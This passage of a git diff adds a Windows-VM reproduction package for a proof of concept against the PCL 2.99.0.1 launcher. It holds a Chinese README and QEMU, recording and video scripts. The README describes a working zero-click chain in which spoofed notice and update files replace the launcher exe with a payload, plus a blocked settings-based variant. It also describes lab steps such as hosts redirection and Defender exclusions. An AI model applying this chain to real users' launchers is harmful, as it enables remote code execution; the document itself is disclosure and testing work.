+1363,1792868862343,2026-10-25T03:07:42.343
+1364,1792868862469,2026-10-25T03:07:42.469
+1365,1792868862596,2026-10-25T03:07:42.596
+1366,1792868862718,2026-10-25T03:07:42.718
+1367,1792868862844,2026-10-25T03:07:42.844
+1368,1792868862972,2026-10-25T03:07:42.972
+1369,1792868863096,2026-10-25T03:07:43.096
+1370,1792868863219,2026-10-25T03:07:43.219
+1371,1792868863351,2026-10-25T03:07:43.351
+1372,1792868863469,2026-10-25T03:07:43.469
+1373,1792868863595,2026-10-25T03:07:43.595
+1374,1792868863722,2026-10-25T03:07:43.722
+1375,1792868863847,2026-10-25T03:07:43.847
+1376,1792868863971,2026-10-25T03:07:43.971
+1377,1792868864096,2026-10-25T03:07:44.096
+1378,1792868864257,2026-10-25T03:07:44.257
+1379,1792868864348,2026-10-25T03:07:44.348
+1380,1792868864469,2026-10-25T03:07:44.469
+1381,1792868864594,2026-10-25T03:07:44.594
+1382,1792868864718,2026-10-25T03:07:44.718
+1383,1792868864843,2026-10-25T03:07:44.843
+1384,1792868864973,2026-10-25T03:07:44.973
+1385,1792868865093,2026-10-25T03:07:45.093
+1386,1792868865221,2026-10-25T03:07:45.221
+1387,1792868865351,2026-10-25T03:07:45.351
+1388,1792868865474,2026-10-25T03:07:45.474
+1389,1792868865594,2026-10-25T03:07:45.594
+1390,1792868865719,2026-10-25T03:07:45.719
+1391,1792868865844,2026-10-25T03:07:45.844
+1392,1792868865969,2026-10-25T03:07:45.969
+1393,1792868866093,2026-10-25T03:07:46.093
+1394,1792868866221,2026-10-25T03:07:46.221
+1395,1792868866348,2026-10-25T03:07:46.348
+1396,1792868866471,2026-10-25T03:07:46.471
+1397,1792868866600,2026-10-25T03:07:46.600
+1398,1792868866721,2026-10-25T03:07:46.721
+1399,1792868866850,2026-10-25T03:07:46.850
+1400,1792868866969,2026-10-25T03:07:46.969
+1401,1792868867093,2026-10-25T03:07:47.093
+1402,1792868867219,2026-10-25T03:07:47.219
+1403,1792868867348,2026-10-25T03:07:47.348
+1404,1792868867470,2026-10-25T03:07:47.470
+1405,1792868867595,2026-10-25T03:07:47.595
+1406,1792868867719,2026-10-25T03:07:47.719
+1407,1792868867846,2026-10-25T03:07:47.846
+1408,1792868867969,2026-10-25T03:07:47.969
+1409,1792868868093,2026-10-25T03:07:48.093
+1410,1792868868222,2026-10-25T03:07:48.222
+1411,1792868868350,2026-10-25T03:07:48.350
+1412,1792868868471,2026-10-25T03:07:48.471
+1413,1792868868600,2026-10-25T03:07:48.600
+1414,1792868868723,2026-10-25T03:07:48.723
+1415,1792868868847,2026-10-25T03:07:48.847
+1416,1792868868971,2026-10-25T03:07:48.971
+1417,1792868869096,2026-10-25T03:07:49.096
+1418,1792868869224,2026-10-25T03:07:49.224
+1419,1792868869348,2026-10-25T03:07:49.348
+1420,1792868869470,2026-10-25T03:07:49.470
+1421,1792868869594,2026-10-25T03:07:49.594
+1422,1792868869719,2026-10-25T03:07:49.719
+1423,1792868869847,2026-10-25T03:07:49.847
+1424,1792868869970,2026-10-25T03:07:49.970
+1425,1792868870101,2026-10-25T03:07:50.101
+1426,1792868870220,2026-10-25T03:07:50.220
+1427,1792868870343,2026-10-25T03:07:50.343
+1428,1792868870469,2026-10-25T03:07:50.469
+1429,1792868870594,2026-10-25T03:07:50.594
+1430,1792868870719,2026-10-25T03:07:50.719
+1431,1792868870843,2026-10-25T03:07:50.843
+1432,1792868870973,2026-10-25T03:07:50.973
+1433,1792868871094,2026-10-25T03:07:51.094

BIN
analysis/2.99.0.1/vm-test/pcl-2.99.0.1-poc-demo.mp4


BIN
analysis/2.99.0.1/vm-test/stills/final-desktop.png


BIN
analysis/2.99.0.1/vm-test/stills/method1-blocked.jpg


BIN
analysis/2.99.0.1/vm-test/stills/method2-success.jpg


+ 9 - 0
analysis/2.99.0.1/vm-test/trim.json

@@ -0,0 +1,9 @@
+{
+  "start_frame": 101,
+  "end_frame": 1087,
+  "frames": 987,
+  "fps": 8.0027,
+  "duration": 123.289,
+  "start_epoch_ms": 1792868704602,
+  "end_epoch_ms": 1792868827891
+}

+ 15 - 0
repeat/.gitignore

@@ -0,0 +1,15 @@
+# Generated / private artifacts
+/toolkit/pcl-test/PCL-*.zip
+/toolkit.img
+/part.img
+/run/
+/frames/
+/evidence/
+/demo.srt
+/trim.json
+/*.mp4
+
+# Never commit lab CA private keys
+/toolkit/pcl-test/PCLPoC/certs/
+*.key
+*.pfx

+ 225 - 0
repeat/README.md

@@ -0,0 +1,225 @@
+# PCL 2.99.0.1 公告执行 PoC:Windows VM 自动演示复现包
+
+> 仅用于授权的隔离 Windows 虚拟机。不要对真实用户机、生产环境或未授权设备运行。
+
+## 结果先说
+
+- **方法一** `notice.json -> actions.setup -> LaunchAdvanceRun`:
+  2.99.0.1 的 12 键黑名单会拦截 `LaunchAdvanceRun`,payload **不会执行**。
+- **方法二** `notice.cfg + slientupdate -> ServerConfig -> update.zip -> PCL\Plain Craft Launcher 2.exe`:
+  **仍然可用**,零点击;PCL 正常退出时执行下载的 exe。
+- 本目录的演示按 7 步录制:复制新版 zip、解压、跑 PoC、方法一被拦、删掉 PCL、方法二成功。
+
+演示视频里方法一显示的是“被拦截”,不是计算器弹出。这是 2.99.0.1 的真实行为,
+也是这次复查的结论:**黑名单只堵了方法一,没有堵方法二**。
+
+## 已有产出(2026-10-25)
+
+- 最终视频:`analysis/2.99.0.1/vm-test/pcl-2.99.0.1-poc-demo.mp4`
+  (2:03,1920×1080,烧录中文字幕)。
+- 证据:`analysis/2.99.0.1/vm-test/evidence/`。
+- **逐帧原始素材**:`vm/frames/final3/`,1434 张 1920×1080 JPEG(8 fps)+
+  `index.csv`,约 270 MB;已保留,不删除。另有 `vm/frames/final`、
+  `final2` 两个布局调试 take。
+- 最终视频只取 step1→end+12s(帧 101–1087);`make-video.sh` 不会删除源帧。
+
+## 目录
+
+```text
+repeat/
+├── build-toolkit.sh        # 生成带 MBR + FAT32 分区的 USB 工具盘 toolkit.img
+├── init-vm.sh              # 建 60G qcow2,复制 toolkit.img 到 VM_DIR
+├── run-vm.sh               # 启动 QEMU(install / demo 两个阶段)
+├── record.sh               # QMP 帧抓取录屏(自动按空格过 ISO 启动提示)
+├── record.py / qmp.py      # 录制与 QMP 客户端
+├── extract-evidence.sh     # 关机后从 FAT 镜像取出 evidence
+├── make-video.sh           # 按时间线裁剪 + 烧中文字幕 + 编码
+├── make_srt.py             # 从 demo-timeline.csv 生成 SRT
+├── subtitles/captions.tsv  # 事件 ID → 中文字幕
+├── toolkit/
+│   ├── autounattend.xml    # Windows 10 LTSC 2021 无人值守
+│   └── pcl-test/
+│       ├── firstlogon.cmd  # FirstLogonCommands 入口
+│       ├── prepare.ps1     # 建 lab 环境、复制 PoC、注册重试任务
+│       ├── demo.ps1        # 7 步演示的“导演”脚本
+│       ├── lib-gui.ps1     # 分辨率、控制台字体、窗口排布
+│       ├── arrange-windows.ps1
+│       ├── close-pcl.ps1
+│       ├── watch-staging.ps1
+│       └── PCLPoC/         # PoC 脚本,不含 certs/ 私钥
+└── README.md
+```
+
+## 前置条件
+
+- Linux + KVM + QEMU(本机验证版本 11.1.2),Python 3,bash。
+- `sfdisk`、`mkfs.vfat`(dosfstools)、`mtools`、`ffmpeg`(带 libass)、
+  `Noto Sans CJK SC` 字体。
+- Windows 10 Enterprise LTSC 2021 x64 en-US ISO:
+  `en-us_windows_10_enterprise_ltsc_2021_x64_dvd_d289cf96.iso`。
+- PCL 2.99.0.1 发布包:
+  `PCL 正式版 2.99.0.1.zip`,SHA-256
+  `4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830`。
+- 约 60G 稀疏磁盘空间、4G 内存、4 vCPU。
+
+ISO 和 PCL zip **不随本目录分发**,请从合法来源自备。
+
+## 快速开始
+
+```bash
+cd repeat
+
+# 1. 生成工具盘(默认在仓库根目录找 PCL*.zip,也可 PCL_ZIP=... 指定)
+./build-toolkit.sh
+
+# 2. 建 VM 磁盘;默认 $HOME/.HHD/PCLPoC-VM
+./init-vm.sh
+
+# 3. 先开录屏(后台),再启动安装
+./record.sh frames/install &
+./run-vm.sh install
+wait
+```
+
+安装是无人值守的:约 10–25 分钟后进入首次登录,`firstlogon.cmd -> prepare.ps1 -> demo.ps1`
+自动开始 7 步演示,最后关机。`record.sh` 会一直录到 QEMU 退出。
+
+```bash
+# 4. 取证据
+./extract-evidence.sh
+
+# 5. 裁出演示段、烧字幕
+./make-video.sh frames/install pcl-2.99.0.1-poc-demo.mp4
+```
+
+如果第一次演示失败,VM 会关机。往工具盘放一个重试标记,再以 demo 阶段重启:
+
+```bash
+echo retry > /tmp/retry.flag
+mcopy -i "$HOME/.HHD/PCLPoC-VM/toolkit.img@@1M" /tmp/retry.flag ::/pcl-test/retry.flag
+./record.sh frames/demo &
+./run-vm.sh demo
+wait
+```
+
+`prepare.ps1` 注册了登录任务 `PCLPoCRetry`;它检查 `pcl-test\retry.flag`,存在就重跑
+`firstlogon.cmd`。AutoLogon 次数为 999,所以 `run-vm.sh demo` 会自动登录并开始。
+
+## 7 步演示对应关系
+
+| 视频字幕事件 | 画面 |
+|---|---|
+| `step1` | 进入 Windows 桌面,终端左、桌面右,显示 OS/用户/分辨率 |
+| `step2` | 终端复制 `PCL 2.99.0.1.zip` 到桌面,右侧资源管理器刷新 |
+| `step3` | 解压 `Desktop\PCL`,显示 exe 大小与 SHA-256 |
+| `step4` | 启动本地 HTTPS 公告服务器 + hosts + 自签 CA;PCL 在右侧打开 |
+| `method1` | `notice.json` 里的 `setup.LaunchAdvanceRun` |
+| `blocked` | PCL 日志出现 `被禁止的设置项:LaunchAdvanceRun`,无 marker |
+| `step6` | 删除整个 `Desktop\PCL` |
+| `step7` | 重新解压,`slientupdate` 下载 `update.zip` 覆盖 `PCL\Plain Craft Launcher 2.exe` |
+| `success` | PCL 退出后 marker 出现;staging exe 与 zip entry 哈希一致 |
+| `end` | 右侧 Notepad 展示 `RESULT.txt`,终端总结 |
+
+## 关键实现点
+
+### 1. USB 必须是“可移动介质”
+
+QEMU `usb-storage` 的 `removable` 默认是 `off`。这样 Windows 会把工具盘当成固定磁盘,
+Windows Setup **不会**扫描它上面的 `autounattend.xml`,而是停在语言选择页。
+
+`run-vm.sh` 里固定使用:
+
+```text
+-device usb-storage,drive=usb0,bus=xhci.0,removable=on,serial=PCLTOOL
+```
+
+工具盘是 MBR + 单个 FAT32 分区(type 0x0c),`autounattend.xml` 在分区根目录。
+Windows PE 把它挂成可移动盘后,Setup 会自动读取。
+
+### 2. 首次登录自动跑
+
+`autounattend.xml` 的 `FirstLogonCommands` 在 C:–K: 里找 `pcl-test\firstlogon.cmd`,
+启动 `prepare.ps1`(最小化)→ `demo.ps1`(正常窗口)。`prepare.ps1` 负责:
+
+- `HKCU\Software\PCL\SystemEulaVersion=2`,跳过 PCL 用户协议;
+- 复制 PoC 到 `C:\PCLPoC`;
+- 加 Defender 排除、关通知/休眠;
+- 注册重试任务;
+- 启动演示。
+
+首次启动 `SystemLastVersionReg=0` 时 PCL 不会弹更新日志(源码条件
+`LastVersionCode > 0 && num < 413`),所以不需要预跑 PCL。
+
+
+### 3. 终端和 PCL 各占半屏(150% DPI 注意)
+
+Windows 10 LTSC 2021 默认可能是 150% 缩放。demo 会声明 DPI 感知,但控制台字体仍按
+150% 放大;因此:
+
+- 控制台固定 66 列(`Set-ConsoleSize -Columns 66 -Rows 36`),实际约 1190 px;
+- PCL 通过 `HKCU\...\AppCompatFlags\Layers` 的 `~ HIGHDPIAWARE` 标记按 100% 渲染,
+  实际约 670 px,位于 x≈1250–1920;
+- 两者留有空隙、互不遮挡;`demo.log` 里的 `console=918 pcl=998` 是计算值,
+  实际像素以录屏为准。
+
+字幕在 `make-video.sh` 里用 `FontSize=9`:libass 对无 PlayRes 的 SRT 会按 1080p
+放大,9 约等于 34 px;不要按字面理解成 9 px。
+
+`demo.ps1` 用 `ChangeDisplaySettings` 尝试 1920×1080(回退 1600×900/1366×768),
+把控制台放在左侧;`arrange-windows.ps1` 每 500ms 把 PCL/calc 移到右侧。
+这样终端不会被 PCL 挡住,PCL 也不会被终端挡住。
+
+### 4. 录制与字幕
+
+- `record.py` 通过 QMP `screendump` 以约 8fps 抓帧,写 `frames/frame-%06d.jpg`
+  和 `index.csv`(帧号、epoch 毫秒)。
+- `demo.ps1` 写 `evidence/demo-timeline.csv`(事件 ID、epoch 毫秒)。
+- `make_srt.py` 找 `step1` 最近的帧作为视频起点,按事件 epoch 生成 `demo.srt`;
+  `make-video.sh` 从该帧开始编码并烧字幕。
+- 安装阶段的帧不会被编码;视频从 1920×1080 的桌面开始,尺寸一致。
+
+QMP 是单客户端协议。需要手动发键/截图时,先停掉 `record.sh`,否则第二个客户端
+连不上。
+
+## 预期结果
+
+方法一(`-Mode launch`):
+
+- 服务器收到 `/notice.cfg`、`/notice.json`;
+- PCL 日志出现 `执行 PCL 服务器公告动作失败(setup, ...)`,异常消息含
+  `被禁止的设置项:LaunchAdvanceRun`;
+- `%TEMP%\pcl-poc-marker.txt` **不存在**。
+
+方法二(`-Mode update`):
+
+- 服务器收到 `/notice.cfg`、`/ServerConfig.json`、`/notice.json`、`/update.zip`;
+- `Desktop\PCL\PCL\Plain Craft Launcher 2.exe` 出现(payload,约 4–5 KB);
+- 关闭 PCL 后 marker 出现,内容形如
+  `2026-... pid=... args=--update ...`;
+- `staging.exe` 与 `update.zip` 内 `Plain Craft Launcher 2.exe` 的 SHA-256 一致;
+- `poc-run.log` 末尾有 `[+] SUCCESS: payload executed.`。
+
+`RESULT.txt`、`demo.log`、`poc-run.log`、`server.out.log`、PCL `Log*.txt` 都在
+`evidence/` 里。
+
+## 隐私与安全
+
+- 本目录**不包含** ISO、PCL zip、CA 私钥或主机用户名。
+- PoC 默认走纯 PowerShell 服务端,CA 在 VM 内用 `New-SelfSignedCertificate` 现生成,
+  退出时从证书库删除;`certs/` 不复制进工具盘。
+- 仓库根目录的 `certs/*.key`、`server.pfx` 属于实验室私钥材料;不要发布。
+  `repeat/.gitignore` 已忽略 `*.key`、`*.pfx` 和 `PCLPoC/certs/`。
+- VM 账户是通用的 `lab`,密码 `PclPoC!2026` 仅用于隔离实验;请按自己的环境修改
+  `autounattend.xml` 后重建工具盘。
+- VM 无网卡,PoC 只访问 `127.0.0.1`;不要把该 VM 接入真实网络。
+- VM 磁盘运行期间会持有本次实验 CA 的私钥;`$VM_DIR` 应保持私有,不要分发。
+- `evidence/` 和录屏可能包含 lab VM 的路径/用户名/PID;公开前自行检查。
+
+## 已知限制
+
+- 方法一在 2.99.0.1 上**必然被拦**,本演示如实展示拦截。若要看 `LaunchAdvanceRun`
+  真正执行,需要 2.99.0.0 + 一个可启动的 Minecraft 实例,不在本复现包范围内。
+- 1920×1080 依赖 QEMU stdvga + Windows 基本显示驱动;若回退到 1024×768,
+  左右分屏会很挤,可改用 virtio-gpu/QXL 驱动后重跑。
+- Windows 10 LTSC 可能没有 `calc.exe`;marker 和 staging hash 才是执行证据。
+- 安装耗时取决于磁盘/CPU;`.HHD` 在加密卷上会更慢。

+ 50 - 0
repeat/build-toolkit.sh

@@ -0,0 +1,50 @@
+#!/usr/bin/env bash
+# Build the FAT32 USB toolkit image for the PCL PoC VM.
+# Requires: sfdisk, mkfs.vfat (dosfstools), mtools, truncate, dd.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+PCL_ZIP="${PCL_ZIP:-}"
+
+if [[ -z "$PCL_ZIP" ]]; then
+    PCL_ZIP="$(find "$ROOT/.." -maxdepth 1 -type f -name 'PCL 正式版 2.99.0.1.zip' -print -quit)"
+fi
+if [[ -z "$PCL_ZIP" ]]; then
+    PCL_ZIP="$(find "$ROOT/.." -maxdepth 1 -type f -name 'PCL*.zip' -print -quit)"
+fi
+if [[ -z "$PCL_ZIP" || ! -f "$PCL_ZIP" ]]; then
+    echo "PCL 2.99.0.1 zip not found. Set PCL_ZIP=/path/to/PCL 正式版 2.99.0.1.zip" >&2
+    exit 1
+fi
+
+HASH="$(sha256sum "$PCL_ZIP" | awk '{print $1}')"
+EXPECTED="4d239a62ed66fb9ebcf4633fd881eb098e9a7e4f296f0e414b58aa2f1f7f7830"
+if [[ "$HASH" != "$EXPECTED" ]]; then
+    echo "PCL zip hash mismatch" >&2
+    echo "  got:      $HASH" >&2
+    echo "  expected: $EXPECTED" >&2
+    exit 1
+fi
+
+for tool in sfdisk mkfs.vfat mcopy mmd mdir truncate dd; do
+    if ! command -v "$tool" >/dev/null 2>&1; then
+        echo "missing tool: $tool" >&2
+        exit 1
+    fi
+done
+
+cp -f "$PCL_ZIP" "$ROOT/toolkit/pcl-test/PCL-2.99.0.1.zip"
+rm -f "$ROOT/toolkit.img" "$ROOT/part.img"
+
+truncate -s 512M "$ROOT/toolkit.img"
+printf 'label: dos\nstart=2048, size=1046528, type=c\n' | sfdisk -q "$ROOT/toolkit.img"
+
+# FAT32 filesystem for the 511 MiB partition starting at 1 MiB.
+mkfs.vfat -C -F 32 -n PCLTOOL "$ROOT/part.img" 523264 >/dev/null
+dd if="$ROOT/part.img" of="$ROOT/toolkit.img" bs=1M seek=1 conv=notrunc status=none
+rm -f "$ROOT/part.img"
+
+mcopy -i "$ROOT/toolkit.img@@1M" -s "$ROOT/toolkit/autounattend.xml" "$ROOT/toolkit/pcl-test" ::
+
+echo "built: $ROOT/toolkit.img"
+mdir -i "$ROOT/toolkit.img@@1M" ::/

+ 24 - 0
repeat/extract-evidence.sh

@@ -0,0 +1,24 @@
+#!/usr/bin/env bash
+# Copy the demo evidence out of the FAT toolkit image. Run only after shutdown.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+VM_DIR="${VM_DIR:-$HOME/.HHD/PCLPoC-VM}"
+OUT="${1:-$ROOT/evidence}"
+
+if pgrep -f "qemu-system.*PCLPoC-2.99.0.1" >/dev/null 2>&1; then
+    echo "VM is still running; shut it down before extracting evidence" >&2
+    exit 1
+fi
+if [[ ! -f "$VM_DIR/toolkit.img" ]]; then
+    echo "missing: $VM_DIR/toolkit.img" >&2
+    exit 1
+fi
+if ! mdir -i "$VM_DIR/toolkit.img@@1M" ::/pcl-test/evidence >/dev/null 2>&1; then
+    echo "no evidence directory in the toolkit image" >&2
+    exit 1
+fi
+
+mkdir -p "$OUT"
+mcopy -s -i "$VM_DIR/toolkit.img@@1M" "::/pcl-test/evidence/*" "$OUT/"
+find "$OUT" -maxdepth 2 -type f -printf '%p %s bytes\n' | sort

+ 30 - 0
repeat/init-vm.sh

@@ -0,0 +1,30 @@
+#!/usr/bin/env bash
+# Create a fresh VM disk and copy the toolkit image into the VM directory.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+VM_DIR="${VM_DIR:-$HOME/.HHD/PCLPoC-VM}"
+FORCE=0
+
+if [[ "${1:-}" == "--force" ]]; then
+    FORCE=1
+fi
+
+if [[ ! -f "$ROOT/toolkit.img" ]]; then
+    "$ROOT/build-toolkit.sh"
+fi
+
+if [[ -e "$VM_DIR/disk.qcow2" && "$FORCE" -ne 1 ]]; then
+    echo "$VM_DIR/disk.qcow2 already exists; use --force to replace it" >&2
+    exit 1
+fi
+
+mkdir -p "$VM_DIR"
+if [[ "$FORCE" -eq 1 ]]; then
+    rm -f "$VM_DIR/disk.qcow2"
+fi
+qemu-img create -f qcow2 "$VM_DIR/disk.qcow2" 60G
+cp -f "$ROOT/toolkit.img" "$VM_DIR/toolkit.img"
+
+echo "VM_DIR: $VM_DIR"
+ls -lh "$VM_DIR"

+ 32 - 0
repeat/make-video.sh

@@ -0,0 +1,32 @@
+#!/usr/bin/env bash
+# Trim the recorded demo segment, burn Chinese captions, encode H.264.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+FRAMES="${1:-$ROOT/frames/install}"
+OUT="${2:-$ROOT/pcl-2.99.0.1-poc-demo.mp4}"
+TIMELINE="${TIMELINE:-$ROOT/evidence/demo-timeline.csv}"
+SRT="$ROOT/demo.srt"
+TRIM="$ROOT/trim.json"
+
+python3 "$ROOT/make_srt.py" \
+    --frames "$FRAMES/index.csv" \
+    --timeline "$TIMELINE" \
+    --captions "$ROOT/subtitles/captions.tsv" \
+    --out "$SRT" \
+    --trim "$TRIM"
+
+FPS="$(python3 -c 'import json; print(json.load(open("'"$TRIM"'"))["fps"])')"
+START="$(python3 -c 'import json; print(json.load(open("'"$TRIM"'"))["start_frame"])')"
+COUNT="$(python3 -c 'import json; print(json.load(open("'"$TRIM"'"))["frames"])')"
+
+cd "$ROOT"
+ffmpeg -y -hide_banner \
+    -framerate "$FPS" -start_number "$START" \
+    -i "$FRAMES/frame-%06d.jpg" \
+    -frames:v "$COUNT" \
+    -vf "subtitles=demo.srt:force_style='FontName=Noto Sans CJK SC,FontSize=9,PrimaryColour=&H00FFFFFF,OutlineColour=&H00000000,BorderStyle=1,Outline=1,Shadow=0,MarginV=18'" \
+    -c:v libx264 -preset veryfast -crf 20 -pix_fmt yuv420p \
+    -movflags +faststart "$OUT"
+
+echo "wrote $OUT"

+ 119 - 0
repeat/make_srt.py

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""Build demo.srt and trim.json from demo-timeline.csv + frames/index.csv."""
+
+import argparse
+import csv
+import json
+import os
+
+
+def read_index(path):
+    frames = []
+    with open(path, encoding="utf-8-sig", newline="") as handle:
+        for row in csv.DictReader(handle):
+            frames.append((int(row["frame"]), int(row["epoch_ms"])))
+    if not frames:
+        raise SystemExit("empty frames index: %s" % path)
+    return frames
+
+
+def read_timeline(path):
+    events = []
+    with open(path, encoding="utf-8-sig", newline="") as handle:
+        for row in csv.reader(handle):
+            if len(row) >= 2 and row[0].strip():
+                events.append((row[0].strip(), int(row[1])))
+    if not events:
+        raise SystemExit("empty timeline: %s" % path)
+    return events
+
+
+def read_captions(path):
+    captions = {}
+    with open(path, encoding="utf-8-sig") as handle:
+        for line in handle:
+            line = line.rstrip("\r\n")
+            if not line or line.startswith("#"):
+                continue
+            key, _, value = line.partition("\t")
+            if key and value:
+                captions[key.strip()] = value.strip()
+    return captions
+
+
+def stamp(ms):
+    ms = max(0, int(round(ms)))
+    hours, rem = divmod(ms, 3600_000)
+    minutes, rem = divmod(rem, 60_000)
+    seconds, millis = divmod(rem, 1000)
+    return "%02d:%02d:%02d,%03d" % (hours, minutes, seconds, millis)
+
+
+def nearest_frame(frames, epoch_ms):
+    return min(frames, key=lambda item: abs(item[1] - epoch_ms))
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--frames", required=True, help="frames/index.csv")
+    parser.add_argument("--timeline", required=True, help="demo-timeline.csv")
+    parser.add_argument("--captions", required=True, help="captions.tsv")
+    parser.add_argument("--out", required=True, help="output .srt")
+    parser.add_argument("--trim", required=True, help="output trim.json")
+    parser.add_argument("--start", default="step1")
+    parser.add_argument("--post", type=float, default=12.0)
+    args = parser.parse_args()
+
+    frames = read_index(args.frames)
+    events = read_timeline(args.timeline)
+    captions = read_captions(args.captions)
+    events = [(key, ms) for key, ms in events if key in captions]
+    if not events:
+        raise SystemExit("no captioned events in timeline")
+
+    start_index = next((i for i, (key, _) in enumerate(events) if key == args.start), None)
+    if start_index is None:
+        raise SystemExit("start event %r not in timeline" % args.start)
+
+    start_frame, start_epoch = nearest_frame(frames, events[start_index][1])
+    end_epoch = events[-1][1] + int(args.post * 1000)
+    end_frame, _ = nearest_frame(frames, end_epoch)
+    end_frame = max(start_frame, min(end_frame, frames[-1][0]))
+
+    span = (frames[-1][1] - frames[0][1]) / 1000.0
+    fps = (len(frames) - 1) / span if span > 0 else 8.0
+    fps = max(1.0, min(30.0, fps))
+
+    cues = []
+    for i in range(start_index, len(events)):
+        key, epoch_ms = events[i]
+        begin = max(0.0, (epoch_ms - start_epoch) / 1000.0)
+        if i + 1 < len(events):
+            finish = max(begin + 0.8, (events[i + 1][1] - start_epoch) / 1000.0)
+        else:
+            finish = max(begin + 3.0, (end_epoch - start_epoch) / 1000.0)
+        cues.append((begin, finish, captions[key]))
+
+    with open(args.out, "w", encoding="utf-8") as handle:
+        for index, (begin, finish, text) in enumerate(cues, 1):
+            handle.write("%d\n%s --> %s\n%s\n\n" % (index, stamp(begin * 1000), stamp(finish * 1000), text))
+
+    trim = {
+        "start_frame": start_frame,
+        "end_frame": end_frame,
+        "frames": end_frame - start_frame + 1,
+        "fps": round(fps, 4),
+        "duration": round((end_epoch - start_epoch) / 1000.0, 3),
+        "start_epoch_ms": start_epoch,
+        "end_epoch_ms": end_epoch,
+    }
+    with open(args.trim, "w", encoding="utf-8") as handle:
+        json.dump(trim, handle, indent=2)
+        handle.write("\n")
+
+    print(json.dumps(trim, indent=2))
+    print("wrote %s and %s" % (args.out, args.trim))
+
+
+if __name__ == "__main__":
+    main()

+ 69 - 0
repeat/qmp.py

@@ -0,0 +1,69 @@
+#!/usr/bin/env python3
+"""Minimal QMP client for the PCL PoC VM."""
+
+import json
+import socket
+
+
+class QMPError(RuntimeError):
+    pass
+
+
+class QMP:
+    def __init__(self, path, timeout=10.0):
+        self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+        self.sock.settimeout(timeout)
+        self.sock.connect(path)
+        self.f = self.sock.makefile("rwb", buffering=0)
+        greeting = self._read()
+        if "QMP" not in greeting:
+            raise QMPError("not a QMP greeting: %r" % (greeting,))
+        self._send({"execute": "qmp_capabilities"})
+        self._read()
+
+    def _read(self):
+        line = self.f.readline()
+        if not line:
+            raise EOFError("QMP closed")
+        return json.loads(line.decode("utf-8", "replace"))
+
+    def _send(self, obj):
+        self.f.write((json.dumps(obj) + "\n").encode("utf-8"))
+
+    def cmd(self, name, args=None, timeout=15.0):
+        self.sock.settimeout(timeout)
+        request = {"execute": name}
+        if args is not None:
+            request["arguments"] = args
+        self._send(request)
+        while True:
+            message = self._read()
+            if "return" in message or "error" in message:
+                return message
+
+    def sendkey(self, key="spc"):
+        return self.cmd(
+            "human-monitor-command", {"command-line": "sendkey %s" % key}
+        )
+
+    def screendump(self, path):
+        return self.cmd("screendump", {"filename": path})
+
+    def status(self):
+        return self.cmd("query-status", timeout=3.0)
+
+    def quit(self):
+        try:
+            self.cmd("quit", timeout=3.0)
+        except Exception:
+            pass
+
+    def close(self):
+        try:
+            self.f.close()
+        except Exception:
+            pass
+        try:
+            self.sock.close()
+        except Exception:
+            pass

+ 138 - 0
repeat/record.py

@@ -0,0 +1,138 @@
+#!/usr/bin/env python3
+"""Record the QEMU VGA console through QMP screendump.
+
+Captures at a fixed target rate, writes JPEG frames plus index.csv, and sends
+space keys during the initial boot so the Windows ISO's "press any key" prompt
+does not fall through to an empty disk.
+"""
+
+import argparse
+import csv
+import datetime as dt
+import os
+import shutil
+import signal
+import subprocess
+import sys
+import time
+
+from qmp import QMP
+
+
+def log(message):
+    stamp = dt.datetime.now().strftime("%H:%M:%S")
+    print("[%s] %s" % (stamp, message), flush=True)
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--qmp", required=True)
+    parser.add_argument("--out", required=True)
+    parser.add_argument("--interval", type=float, default=0.125)
+    parser.add_argument("--quality", type=int, default=82)
+    parser.add_argument("--tmp", default="/dev/shm/pcl-poc-frame.ppm")
+    parser.add_argument("--boot-keys", action="store_true")
+    parser.add_argument("--timeout", type=float, default=3600.0)
+    args = parser.parse_args()
+
+    os.makedirs(args.out, exist_ok=True)
+    convert = shutil.which("convert")
+    if not convert:
+        log("ImageMagick convert not found")
+        return 2
+
+    qmp = None
+    deadline = time.time() + 30.0
+    while time.time() < deadline:
+        try:
+            qmp = QMP(args.qmp)
+            log("QMP connected")
+            break
+        except Exception as exc:
+            log("waiting for QMP: %s" % exc)
+            time.sleep(0.2)
+    if qmp is None:
+        log("could not connect to QMP")
+        return 2
+
+    index_path = os.path.join(args.out, "index.csv")
+    index = open(index_path, "w", newline="")
+    writer = csv.writer(index)
+    writer.writerow(["frame", "epoch_ms", "iso"])
+    index.flush()
+
+    stopped = {"flag": False}
+
+    def stop(_signum, _frame):
+        stopped["flag"] = True
+
+    signal.signal(signal.SIGTERM, stop)
+    signal.signal(signal.SIGINT, stop)
+
+    start = time.time()
+    next_at = start
+    frame = 0
+    key_at = [2.5, 3.5, 4.5, 5.5, 6.5] if args.boot_keys else []
+    key_sent = set()
+    failures = 0
+
+    log("recording to %s (interval %.3fs)" % (args.out, args.interval))
+    try:
+        while not stopped["flag"] and time.time() - start < args.timeout:
+            now = time.time()
+            for when in key_at:
+                if now - start >= when and when not in key_sent:
+                    key_sent.add(when)
+                    try:
+                        qmp.sendkey("spc")
+                        log("sent boot key at %.1fs" % (now - start))
+                    except Exception as exc:
+                        log("sendkey failed: %s" % exc)
+
+            if now < next_at:
+                time.sleep(next_at - now)
+
+            target = os.path.join(args.out, "frame-%06d.jpg" % frame)
+            try:
+                response = qmp.screendump(args.tmp)
+                if "error" in response:
+                    raise RuntimeError(response["error"])
+                subprocess.run(
+                    [convert, args.tmp, "-quality", str(args.quality), target],
+                    check=True,
+                    stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL,
+                    env=dict(os.environ, MAGICK_THREAD_LIMIT="1"),
+                )
+                stamp = time.time()
+                writer.writerow(
+                    [
+                        frame,
+                        int(stamp * 1000),
+                        dt.datetime.fromtimestamp(stamp).isoformat(timespec="milliseconds"),
+                    ]
+                )
+                index.flush()
+                frame += 1
+                failures = 0
+            except EOFError:
+                log("QMP closed; guest likely shut down")
+                break
+            except Exception as exc:
+                failures += 1
